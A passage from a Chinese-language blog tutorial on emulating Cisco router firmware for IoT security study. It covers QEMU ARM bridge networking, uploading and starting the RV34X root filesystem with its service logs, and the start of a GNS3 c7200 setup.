加速（需要硬件支持）</td></tr><tr><td><code>-full-screen</code></td><td>以全屏模式启动虚拟机</td></tr><tr><td><code>-pidfile &lt;file&gt;</code></td><td>将 QEMU 进程 ID 写入指定文件</td></tr><tr><td><code>-daemonize</code></td><td>以守护进程模式运行 QEMU</td></tr><tr><td><code>-rtc &lt;opts&gt;</code></td><td>配置 RTC 选项（如：<code>base=utc</code>、<code>base=localtime</code>、<code>clock=host</code>）</td></tr><tr><td><code>-name &lt;name&gt;</code></td><td>指定虚拟机名称</td></tr><tr><td><code>-uuid &lt;uuid&gt;</code></td><td>指定虚拟机 UUID</td></tr></tbody></table><p>如果出现如下报错：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">qemu-system-arm: Invalid SD card size: <span class="token number">25</span> GiBSD card size has to be a power of <span class="token number">2</span>, e.g. <span class="token number">32</span> GiB.You can resize disk images with <span class="token string">'qemu-img resize &lt;imagefile> &lt;new-size>'</span><span class="token punctuation">(</span>note that this will lose data <span class="token keyword">if</span> you <span class="token function">make</span> the image smaller than it currently is<span class="token punctuation">)</span>.<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>原因是 <code>SD card size</code> 应该为 <code>2</code> 的幂，当前是 <code>25GB</code>，应该改为 <code>32GB</code> 之类的数值</p><p>使用如下命令解决：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> qemu-img resize ./debian_wheezy_armhf_standard.qcow2 32G<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>再次启动 QEMU 虚拟机，需等待几分钟后会出现输入账号密码界面，账号密码都是 <code>root</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA32.png" alt="IOT环境搭建32.png"></p><hr><h3 id="配置虚拟网卡实现通信"><a href="#配置虚拟网卡实现通信" class="headerlink" title="配置虚拟网卡实现通信"></a>配置虚拟网卡实现通信</h3><p>此时虽然开启了 QEMU 虚拟机，但没有 ip 地址，因此该 QEMU 虚拟机还无法与 Kali Linux 本机通信：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA33.png" alt="IOT环境搭建33.png"></p><p><strong>我们需要将路由器的文件系统上传到 QEMU 虚拟机，因此必须保证能与 QEMU 虚拟机通信</strong></p><p>通信的大概原理就是设置一个网桥，然后开一个接口，把这个接口给 QEMU，然后流量的发送都通过这个网桥，画成图的话就是下面这个样子：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA34.png" alt="IOT环境搭建34.png"></p><p>我这里的网卡是 <code>eth0</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA35.png" alt="IOT环境搭建35.png"></p><p>在 Kali Linux 中创建一个 <code>net.sh</code> 脚本，并写入如下内容：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/sh</span><span class="token function">sudo</span> brctl addbr br0                   <span class="token comment"># 添加一座名为 br0 的网桥</span><span class="token function">sudo</span> <span class="token function">ifconfig</span> br0 <span class="token number">192.168</span>.2.3/24 up    <span class="token comment"># 启用 br0 接口</span><span class="token function">sudo</span> tunctl <span class="token parameter variable">-t</span> tap0 <span class="token parameter variable">-u</span> root            <span class="token comment"># 创建一个只许 root 访问的 tap0 接口</span><span class="token function">sudo</span> <span class="token function">ifconfig</span> tap0 <span class="token number">192.168</span>.2.1/24 up   <span class="token comment"># 启用 tap0 接口</span><span class="token function">sudo</span> brctl addif br0 tap0              <span class="token comment"># 在虚拟网桥中增加一个 tap0 接口</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>赋予执行权限并运行该脚本</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">chmod</span> +x net.sh./net.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>如果运行出现报错：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">sudo: brctl：找不到命令<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>说明缺少相关库，安装后再次运行即可：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> bridge-utils uml-utilities<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>如果配置成功，会多出两个虚拟网卡 <code>br0</code> 和 <code>tap0</code>：（<em>每次重启 Kali Linux 后都需要重新配置一次</em>）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA36.png" alt="IOT环境搭建36.png"></p><p>如果以后不需要了，使用如下脚本 <code>unset_net.sh</code> 取消即可：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/sh</span><span class="token function">sudo</span> <span class="token function">ifconfig</span> br0 down <span class="token comment"># 关闭设备</span><span class="token function">sudo</span> <span class="token function">ifconfig</span> tap0 down <span class="token comment"># 关闭设备</span><span class="token function">sudo</span> brctl delbr br0 <span class="token comment"># 删除网桥</span><span class="token function">sudo</span> tunctl <span class="token parameter variable">-d</span> tap0 <span class="token comment"># 删除网卡</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>接下来在 QEMU 虚拟机中设置 ip 地址，<strong>注意与 <code>tap0</code> 在同一网段</strong>：（<em>每次重启 QEMU 虚拟机后都需要重新配置一次</em>）</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>root@debian-armhf<span class="token punctuation">)</span> <span class="token function">ifconfig</span> eth0 <span class="token number">192.168</span>.2.2/24 up<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>测试一下 Kali Linux 与 QEMU 虚拟机能否相互 ping 通：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA37.png" alt="IOT环境搭建37.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA38.png" alt="IOT环境搭建38.png"></p><p>到此为止，说明网络配置成功</p><hr><h3 id="上传路由器文件系统"><a href="#上传路由器文件系统" class="headerlink" title="上传路由器文件系统"></a>上传路由器文件系统</h3><p>接下来，就是将路由器的文件系统上传到 QEMU 虚拟机，让 QEMU 虚拟机来启动路由器</p><p>这里注意：<strong>要先把文件系统压缩打包，然后用 <code>scp</code> 命令传到 QEMU 虚拟机中，再将文件系统解压</strong></p><blockquote><p>如果直接用 <code>scp</code> 命令上传文件夹，后续有可能会缺少文件，所以必须先压缩</p></blockquote><p>在 <code>rootfs</code> 文件夹所在的目录下，使用如下命令打包并上传至 QEMU 虚拟机：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">tar</span> <span class="token parameter variable">-czvf</span> RV34X_v1.0.03.29_rootfs.tar.gz rootfs<span class="token function">sudo</span> <span class="token function">scp</span> RV34X_v1.0.03.29_rootfs.tar.gz root@192.168.2.2:~/<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA39.png" alt="IOT环境搭建39.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA40.png" alt="IOT环境搭建40.png"></p><p>然后在 QEMU 虚拟机中解压：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>root@debian-armhf<span class="token punctuation">)</span> <span class="token function">tar</span> <span class="token parameter variable">-xzvf</span> RV34X_v1.0.03.29_rootfs.tar.gz<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA41.png" alt="IOT环境搭建41.png"></p><p>得到解压后的文件系统：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA42.png" alt="IOT环境搭建42.png"></p><hr><h3 id="启动路由器服务"><a href="#启动路由器服务" class="headerlink" title="启动路由器服务"></a>启动路由器服务</h3><p>接下来进行仿真时要先用 <code>chroot</code> 命令创建隔离的文件系统环境，但这会导致无法在隔离的文件系统中访问原本的 <code>/proc</code> 和 <code>/dev</code> 目录，因为它们是特殊的虚拟文件夹（用于提供系统信息和设备的访问）</p><p>为了让 QEMU 环境正常运行，需将原本 QEMU 的 <code>/proc</code> 和 <code>/dev</code> 目录挂载到新创建的隔离环境中：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chmod</span> <span class="token parameter variable">-R</span> <span class="token number">777</span> rootfs<span class="token builtin class-name">cd</span> rootfs/<span class="token function">mount</span> <span class="token parameter variable">--bind</span> /proc proc<span class="token function">mount</span> <span class="token parameter variable">--bind</span> /dev dev<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>注意检查一下软连接是否正确：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA43.png" alt="IOT环境搭建43.png"></p><p>启动路由器的终端，开启路由器服务：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chroot</span> <span class="token builtin class-name">.</span> /bin/sh/etc/init.d/boot boot     <span class="token comment"># 创建初始化环境</span>generate_default_cert     <span class="token comment"># 生成 ssl 证书文件</span>/etc/init.d/confd start   <span class="token comment"># 启动 confd 服务</span>/etc/init.d/nginx start   <span class="token comment"># 启动 nginx 服务</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如果开启 nginx 服务显示端口占用，重启一下 nginx 服务：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">/etc/init.d/nginx restart<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>至于为什么启动 Cisco RV34X 路由器服务的顺序是这样的，这里不再详细说明</p><p>参考文章：</p><ol><li><a href="https://bbs.kanxue.com/thread-278240.htm#msg_header_h2_4">[原创]从零开始复现 CVE-2023-20073-智能设备-看雪-安全社区|安全招聘|kanxue.com</a> 的《启动服务&amp;&amp;解决报错》一节</li><li><a href="https://blog.csdn.net/m0_56865100/article/details/138160674">Cisco RV340仿真_cve-2023-20073-CSDN博客</a> 的《启动文件系统》一节</li></ol></blockquote><p>执行 <code>/etc/init.d/boot boot</code> 后：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">/ <span class="token comment"># /etc/init.d/boot boot</span>mount: mounting debugfs on /sys/kernel/debug failed: No such <span class="token function">file</span> or directoryMounting mnt partitions<span class="token punctuation">..</span>mount: mounting /dev/mtdblock9 on /mnt/configcert failed: No such devicemount: mounting /dev/mtdblock10 on /mnt/avcsign failed: No such devicemount: mounting /dev/mtdblock11 on /mnt/webrootdb failed: No such devicemount: mounting /dev/mtdblock12 on /mnt/license failed: No such devicedone. create_meta_data_xml begin meta_data_gen_state: <span class="token number">0</span> meta_data_gen_state: <span class="token number">1</span> create_meta_data_xml end<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>执行 <code>generate_default_cert</code> 后：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">/ <span class="token comment"># generate_default_cert</span>touch: /tmp/stats/certstats.tmp: No such <span class="token function">file</span> or directory/usr/bin/certscript: line <span class="token number">1</span>: can<span class="token string">'t create /tmp/stats/certstats.tmp: nonexistent directoryperl: warning: Setting locale failed.perl: warning: Please check that your locale settings:        LANGUAGE = (unset),        LC_ALL = (unset),        LANG = "en_US.UTF-8"    are supported and installed on your system.perl: warning: Falling back to the standard locale ("C").cp: can'</span>t <span class="token function">stat</span> <span class="token string">'/tmp/stats/certstats.tmp'</span><span class="token builtin class-name">:</span> No such <span class="token function">file</span> or directoryDefault<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>执行 <code>/etc/init.d/confd start</code> 后：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">/ <span class="token comment"># /etc/init.d/confd start</span>TRACE Connected <span class="token punctuation">(</span>maapi<span class="token punctuation">)</span> to ConfDattaching to init session<span class="token punctuation">..</span>.TRACE MAAPI_ATTACH  --<span class="token operator">></span> CONFD_OKTRACE MAAPI_DELETE /avc-meta-data --<span class="token operator">></span> CONFD_OKTRACE MAAPI_LOAD_CONFIG_FILE  --<span class="token operator">></span> CONFD_OKTRACE Connected <span class="token punctuation">(</span>maapi<span class="token punctuation">)</span> to ConfDattaching to init session<span class="token punctuation">..</span>.TRACE MAAPI_ATTACH  --<span class="token operator">></span> CONFD_OKTRACE MAAPI_DELETE /device-os-types --<span class="token operator">></span> CONFD_OKTRACE MAAPI_LOAD_CONFIG_FILE  --<span class="token operator">></span> CONFD_OKTRACE Connected <span class="token punctuation">(</span>maapi<span class="token punctuation">)</span> to ConfDattaching to init session<span class="token punctuation">..</span>.TRACE MAAPI_ATTACH  --<span class="token operator">></span> CONFD_OKTRACE MAAPI_DELETE /webfilter-meta-data --<span class="token operator">></span> CONFD_OKTRACE MAAPI_LOAD_CONFIG_FILE  --<span class="token operator">></span> CONFD_OK<span class="token number">0</span>uci: Entry not found<span class="token number">0</span>uci: Entry not foundrm: can<span class="token string">'t remove '</span>/tmp/update.sh<span class="token string">': No such file or directoryuci: Entry not founduci: Entry not founduci: Parse error (option/list command found before the first section) at line 2492, byte 1cp: can'</span>t <span class="token function">stat</span> <span class="token string">'/tmp/etc/syslog_config_template'</span><span class="token builtin class-name">:</span> No such <span class="token function">file</span> or directorysed: /tmp/syslog-ng.conf: No such <span class="token function">file</span> or directoryError opening configuration <span class="token function">file</span><span class="token punctuation">;</span> <span class="token assign-left variable">filename</span><span class="token operator">=</span><span class="token string">'/tmp/syslog-ng.conf'</span>, <span class="token assign-left variable">error</span><span class="token operator">=</span><span class="token string">'Success (0)'</span>SIOCGMIIPHY: No such deviceFailed to connect to ubusFailed to parse json data: unexpected end of dataFailed to connect to ubusFailed to parse json data: unexpected end of dataFailed to connect to ubusFailed to parse json data: unexpected end of dataFailed to connect to ubusFailed to parse json data: unexpected end of dataFailed to connect to ubusFailed to parse json data: unexpected end of dataFailed to connect to ubusFailed to parse json data: unexpected end of dataFailed to connect to ubusFailed to parse json data: unexpected end of dataFailed to connect to ubusFailed to parse json data: unexpected end of dataFailed to connect to ubusFailed to parse json data: unexpected end of dataFailed to connect to ubusFailed to parse json data: unexpected end of dataFailed to connect to ubus<span class="token number">0</span>json_object_from_file: error reading <span class="token function">file</span> /tmp/webcache/dep: No such <span class="token function">file</span> or directoryPnP Agent is starting<span class="token operator">!</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>执行 <code>/etc/init.d/nginx start</code> 后：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">/ <span class="token comment"># /etc/init.d/nginx start</span>chown: /var/firmware: No such <span class="token function">file</span> or directorychown: /var/3g-4g-driver: No such <span class="token function">file</span> or directorychown: /var/in_certs: No such <span class="token function">file</span> or directorychown: /var/signature: No such <span class="token function">file</span> or directorychown: /var/language-pack: No such <span class="token function">file</span> or directorychown: /var/configuration: No such <span class="token function">file</span> or directoryFAILED: maapi_get_elem<span class="token punctuation">(</span>ms, mtid, <span class="token operator">&amp;</span>val, argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span>, Error: item does not exist <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>: /firewall-basic-settings:firewall/remote-web-management/cert does not exist, <span class="token keyword">in</span> <span class="token keyword">function</span> do_maapi_get, line <span class="token number">1463</span>touch: /tmp/stats/certstats.tmp: No such <span class="token function">file</span> or directoryperl: warning: Setting locale failed.perl: warning: Please check that your locale settings:        <span class="token environment constant">LANGUAGE</span> <span class="token operator">=</span> <span class="token punctuation">(</span>unset<span class="token punctuation">)</span>,        <span class="token environment constant">LC_ALL</span> <span class="token operator">=</span> <span class="token punctuation">(</span>unset<span class="token punctuation">)</span>,        <span class="token environment constant">LANG</span> <span class="token operator">=</span> <span class="token string">"en_US.UTF-8"</span>    are supported and installed on your system.perl: warning: Falling back to the standard locale <span class="token punctuation">(</span><span class="token string">"C"</span><span class="token punctuation">)</span>.cp: can<span class="token string">'t stat '</span>/tmp/stats/certstats.tmp<span class="token string">': No such file or directoryFAILED: maapi_get_elem(ms, mtid, &amp;val, argv[0]), Error: item does not exist (1): /ciscosb-restconf:ciscosb-restconf/transport/https/cert does not exist, in function do_maapi_get, line 1463touch: /tmp/stats/certstats.tmp: No such file or directoryperl: warning: Setting locale failed.perl: warning: Please check that your locale settings:        LANGUAGE = (unset),        LC_ALL = (unset),        LANG = "en_US.UTF-8"    are supported and installed on your system.perl: warning: Falling back to the standard locale ("C").cp: can'</span>t <span class="token function">stat</span> <span class="token string">'/tmp/stats/certstats.tmp'</span><span class="token builtin class-name">:</span> No such <span class="token function">file</span> or directoryFAILED: maapi_get_elem<span class="token punctuation">(</span>ms, mtid, <span class="token operator">&amp;</span>val, argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span>, Error: item does not exist <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>: /ciscosb-netconf:ciscosb-netconf/transport/ssh/cert does not exist, <span class="token keyword">in</span> <span class="token keyword">function</span> do_maapi_get, line <span class="token number">1463</span>touch: /tmp/stats/certstats.tmp: No such <span class="token function">file</span> or directoryperl: warning: Setting locale failed.perl: warning: Please check that your locale settings:        <span class="token environment constant">LANGUAGE</span> <span class="token operator">=</span> <span class="token punctuation">(</span>unset<span class="token punctuation">)</span>,        <span class="token environment constant">LC_ALL</span> <span class="token operator">=</span> <span class="token punctuation">(</span>unset<span class="token punctuation">)</span>,        <span class="token environment constant">LANG</span> <span class="token operator">=</span> <span class="token string">"en_US.UTF-8"</span>    are supported and installed on your system.perl: warning: Falling back to the standard locale <span class="token punctuation">(</span><span class="token string">"C"</span><span class="token punctuation">)</span>.cp: can<span class="token string">'t stat '</span>/tmp/stats/certstats.tmp': No such <span class="token function">file</span> or directory/ <span class="token comment"># [uWSGI] getting INI configuration from /etc/uwsgi/jsonrpc.ini</span><span class="token punctuation">[</span>uWSGI<span class="token punctuation">]</span> getting INI configuration from /etc/uwsgi/blockpage.ini<span class="token punctuation">[</span>uWSGI<span class="token punctuation">]</span> getting INI configuration from /etc/uwsgi/upload.ini*** Starting uWSGI <span class="token number">2.0</span>.15 <span class="token punctuation">(</span>32bit<span class="token punctuation">)</span> on <span class="token punctuation">[</span>Sun Jun  <span class="token number">9</span> <span class="token number">16</span>:04:10 <span class="token number">2024</span><span class="token punctuation">]</span> ***compiled with version: <span class="token number">4.8</span>.3 on <span class="token number">17</span> October <span class="token number">2022</span> <span class="token number">13</span>:32:49*** Starting uWSGI <span class="token number">2.0</span>.15 <span class="token punctuation">(</span>32bit<span class="token punctuation">)</span> on <span class="token punctuation">[</span>Sun Jun  <span class="token number">9</span> <span class="token number">16</span>:04:10 <span class="token number">2024</span><span class="token punctuation">]</span> ****** Starting uWSGI <span class="token number">2.0</span>.15 <span class="token punctuation">(</span>32bit<span class="token punctuation">)</span> on <span class="token punctuation">[</span>Sun Jun  <span class="token number">9</span> <span class="token number">16</span>:04:10 <span class="token number">2024</span><span class="token punctuation">]</span> ***compiled with version: <span class="token number">4.8</span>.3 on <span class="token number">17</span> October <span class="token number">2022</span> <span class="token number">13</span>:32:49os: Linux-3.2.0-4-vexpress <span class="token comment">#1 SMP Debian 3.2.51-1</span>os: Linux-3.2.0-4-vexpress <span class="token comment">#1 SMP Debian 3.2.51-1</span>compiled with version: <span class="token number">4.8</span>.3 on <span class="token number">17</span> October <span class="token number">2022</span> <span class="token number">13</span>:32:49nodename: Routermachine: armv7lnodename: Routerclock source: unixos: Linux-3.2.0-4-vexpress <span class="token comment">#1 SMP Debian 3.2.51-1</span>machine: armv7lnodename: Routerclock source: unixmachine: armv7lpcre jit disabledclock source: unixdetected number of CPU cores: <span class="token number">4</span>pcre jit disabledcurrent working directory: /detected number of CPU cores: <span class="token number">4</span>pcre jit disableddetected binary path: /usr/sbin/uwsgicurrent working directory: /detected number of CPU cores: <span class="token number">4</span>detected binary path: /usr/sbin/uwsgisetgid<span class="token punctuation">(</span><span class="token punctuation">)</span> to <span class="token number">33</span>current working directory: /detected binary path: /usr/sbin/uwsgisetgid<span class="token punctuation">(</span><span class="token punctuation">)</span> to <span class="token number">33</span>setgid<span class="token punctuation">(</span><span class="token punctuation">)</span> to <span class="token number">33</span>setuid<span class="token punctuation">(</span><span class="token punctuation">)</span> to <span class="token number">33</span>your processes number limit is <span class="token number">961</span>your memory page size is <span class="token number">4096</span> bytesdetected max <span class="token function">file</span> descriptor number: <span class="token number">1024</span>lock engine: pthread robust mutexessetuid<span class="token punctuation">(</span><span class="token punctuation">)</span> to <span class="token number">33</span>your processes number limit is <span class="token number">961</span>setuid<span class="token punctuation">(</span><span class="token punctuation">)</span> to <span class="token number">33</span>your memory page size is <span class="token number">4096</span> bytesdetected max <span class="token function">file</span> descriptor number: <span class="token number">1024</span>lock engine: pthread robust mutexesthunder lock: disabled <span class="token punctuation">(</span>you can <span class="token builtin class-name">enable</span> it with --thunder-lock<span class="token punctuation">)</span>thunder lock: disabled <span class="token punctuation">(</span>you can <span class="token builtin class-name">enable</span> it with --thunder-lock<span class="token punctuation">)</span>your processes number limit is <span class="token number">961</span>your memory page size is <span class="token number">4096</span> bytesdetected max <span class="token function">file</span> descriptor number: <span class="token number">1024</span>lock engine: pthread robust mutexesuwsgi socket <span class="token number">0</span> bound to TCP address <span class="token number">127.0</span>.0.1:9001 fd <span class="token number">3</span>thunder lock: disabled <span class="token punctuation">(</span>you can <span class="token builtin class-name">enable</span> it with --thunder-lock<span class="token punctuation">)</span>uwsgi socket <span class="token number">0</span> bound to TCP address <span class="token number">127.0</span>.0.1:9003 fd <span class="token number">3</span>your server socket listen backlog is limited to <span class="token number">100</span> connectionsyour server socket listen backlog is limited to <span class="token number">100</span> connectionsyour mercy <span class="token keyword">for</span> graceful operations on workers is <span class="token number">60</span> secondsyour mercy <span class="token keyword">for</span> graceful operations on workers is <span class="token number">60</span> secondsuwsgi socket <span class="token number">0</span> bound to TCP address <span class="token number">127.0</span>.0.1:9000 fd <span class="token number">3</span>your server socket listen backlog is limited to <span class="token number">100</span> connectionsyour mercy <span class="token keyword">for</span> graceful operations on workers is <span class="token number">60</span> secondsmapped <span class="token number">128512</span> bytes <span class="token punctuation">(</span><span class="token number">125</span> KB<span class="token punctuation">)</span> <span class="token keyword">for</span> <span class="token number">1</span> coresmapped <span class="token number">128512</span> bytes <span class="token punctuation">(</span><span class="token number">125</span> KB<span class="token punctuation">)</span> <span class="token keyword">for</span> <span class="token number">1</span> cores*** Operational MODE: single process ****** Operational MODE: single process ***initialized CGI path: /www/cgi-bin/upload.cgi*** no app loaded. going <span class="token keyword">in</span> full dynamic mode ****** uWSGI is running <span class="token keyword">in</span> multiple interpreter mode ***spawned uWSGI master process <span class="token punctuation">(</span>pid: <span class="token number">4183</span><span class="token punctuation">)</span>initialized CGI mountpoint: /blocked.php <span class="token operator">=</span> /www/cgi-bin/blockpage.cgispawned uWSGI worker <span class="token number">1</span> <span class="token punctuation">(</span>pid: <span class="token number">4191</span>, cores: <span class="token number">1</span><span class="token punctuation">)</span>mapped <span class="token number">321280</span> bytes <span class="token punctuation">(</span><span class="token number">313</span> KB<span class="token punctuation">)</span> <span class="token keyword">for</span> <span class="token number">4</span> cores*** no app loaded. going <span class="token keyword">in</span> full dynamic mode ****** uWSGI is running <span class="token keyword">in</span> multiple interpreter mode ***spawned uWSGI master process <span class="token punctuation">(</span>pid: <span class="token number">4182</span><span class="token punctuation">)</span>*** Operational MODE: preforking ***initialized CGI mountpoint: /jsonrpc <span class="token operator">=</span> /www/cgi-bin/jsonrpc.cgi*** no app loaded. going <span class="token keyword">in</span> full dynamic mode ****** uWSGI is running <span class="token keyword">in</span> multiple interpreter mode ***spawned uWSGI master process <span class="token punctuation">(</span>pid: <span class="token number">4181</span><span class="token punctuation">)</span>spawned uWSGI worker <span class="token number">1</span> <span class="token punctuation">(</span>pid: <span class="token number">4192</span>, cores: <span class="token number">1</span><span class="token punctuation">)</span>spawned uWSGI worker <span class="token number">1</span> <span class="token punctuation">(</span>pid: <span class="token number">4193</span>, cores: <span class="token number">1</span><span class="token punctuation">)</span>spawned uWSGI worker <span class="token number">2</span> <span class="token punctuation">(</span>pid: <span class="token number">4194</span>, cores: <span class="token number">1</span><span class="token punctuation">)</span>spawned uWSGI worker <span class="token number">3</span> <span class="token punctuation">(</span>pid: <span class="token number">4195</span>, cores: <span class="token number">1</span><span class="token punctuation">)</span>spawned uWSGI worker <span class="token number">4</span> <span class="token punctuation">(</span>pid: <span class="token number">4196</span>, cores: <span class="token number">1</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>然后打开浏览器，访问 QEMU 虚拟机的 ip 地址，验证服务是否开启：（<strong>如果使用了代理，请关闭代理，否则可能无法访问</strong>）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA44.png" alt="IOT环境搭建44.png"></p><p>如果能看到 Cisco Router 的登陆界面，那么到这里为止，我们就仿真成功了</p><blockquote><p>注意：</p><p>如果按照以上步骤还是无法访问，请检查浏览器的代理设置是否关闭，或者重启 QEMU 虚拟机后再重新启动一次路由器服务（<em>每次重启 QEMU 虚拟机后都需要重新配置一次 ip 地址</em>）</p><p>第一次启动路由器报错会多一些，之后重新启动报错会相对少一点，但我们毕竟是仿真，并不是真正的路由器硬件环境，因此<strong>启动过程中有报错是很正常的，只要能将我们需要的服务跑起来即可</strong></p></blockquote><hr><h2 id="使用-GNS3-仿真"><a href="#使用-GNS3-仿真" class="headerlink" title="使用 GNS3 仿真"></a>使用 GNS3 仿真</h2><blockquote><p><em>GNS3 仅可用于 Cisco 产品的仿真，例如 Cisco 路由器、Cisco ASA 防火墙等</em></p></blockquote><h3 id="仿真-Cisco-路由器"><a href="#仿真-Cisco-路由器" class="headerlink" title="仿真 Cisco 路由器"></a>仿真 Cisco 路由器</h3><blockquote><p>以 Cisco 的 <code>c7200-adventerprisek9-mz.124-22.T.bin</code> 固件为例进行仿真</p><p>下载地址：<br><a href="https://cios.dhitechnical.com/7200/c7200-adventerprisek9-mz.124-22.T.bin">c7200-adventerprisek9-mz.124-22.T.bin</a>  </p></blockquote><p>使用 GNS3 模拟 Cisco 路由器，需要先下载其路由器对应的固件，这里以 c7200 路由器为例</p><p>路由器固件默认存放在 GNS3 的 <code>/images/IOS</code> 目录，具体路径在此查看：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA64.png" alt="IOT环境搭建64.png"></p><p>将 <code>c7200-adventerprisek9-mz.124-22.T.bin</code> 固件置于上图的 <code>E:\GNS3\images\IOS</code> 目录下</p><p>在 Dynamips 下的 IOS routers 中，新建一个 IOS 路由器模板，选择该固件：</p><p><img 